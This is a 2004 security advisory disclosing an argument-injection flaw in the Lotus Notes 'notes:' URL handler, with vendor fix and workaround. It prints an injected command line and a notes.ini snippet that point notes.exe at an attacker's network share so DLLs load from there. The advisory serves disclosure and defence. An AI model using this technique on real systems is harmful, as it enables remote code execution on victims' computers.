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Lotus Notes URL argument injection vulnerability

June 27th, 2004

Overview

Lotus Notes is a groupware/e-mail system developed by Lotus Software. Due to its security and collaboration features it's used particularly by large organizations, government agencies, etc. IBM estimates it is used by 60 million people.

During the client-side Windows installation of Lotus Notes, a "notes:" URL handler is registered in the registry. An argument injection attack allows an intruder to pass command line arguments to notes.exe, which can lead to execution of arbitrary code.

Details

The installed registry entry causes any "notes:" URL to be opened with notes.exe and the URL passed as the argument. If the URL contains space characters, notes.exe takes the characters after that as a second command line argument. Any web page can cause notes.exe be started in this way by refering to a notes: URL.

Location of Notes configuration file, notes.ini, can be specified on the command line by prefixing it with an equals sign (=). The notes.ini file can be located on a network share. An attacker can use the URL to specify an arbitrary notes.ini file located on a public network share, so that the command run when opening the URL would be e.g.

  notes.exe =\\attacker.server\notes\notes.ini

The notes.ini file contains locations for Notes data directory, which in this case can be also located on a public network share. The notes.ini file could contain e.g.

  [Notes]
  Directory=\\attacker.server\\notes

The program uses this directory to load some dynamic libraries. The attacker can place arbitrary code in the init section of such DLL and cause it to be run during notes.exe startup. The scenario was successfully tested with an exploit. On opening the malicious web page, the victim system downloaded the DLL and ran the code in it.

The exploit requires that notes.exe isn't already running while the victim views the malicious web page or e-mail message, because DLL's are only loaded on program startup. It also requires that outgoing connections to Internet shares aren't blocked by firewalls or registry settings.

Solution

IBM was contacted on March 17, 2004. The fix SPR# KSPR5X6VEA has now been released to solve the issue. As a workaround, the registry key

   HKEY_CLASSES_ROOT\Notes\Shell\Open\Command
can be removed.

Credits

The vulnerability was discovered and researched by Jouko Pynnönen, Finland.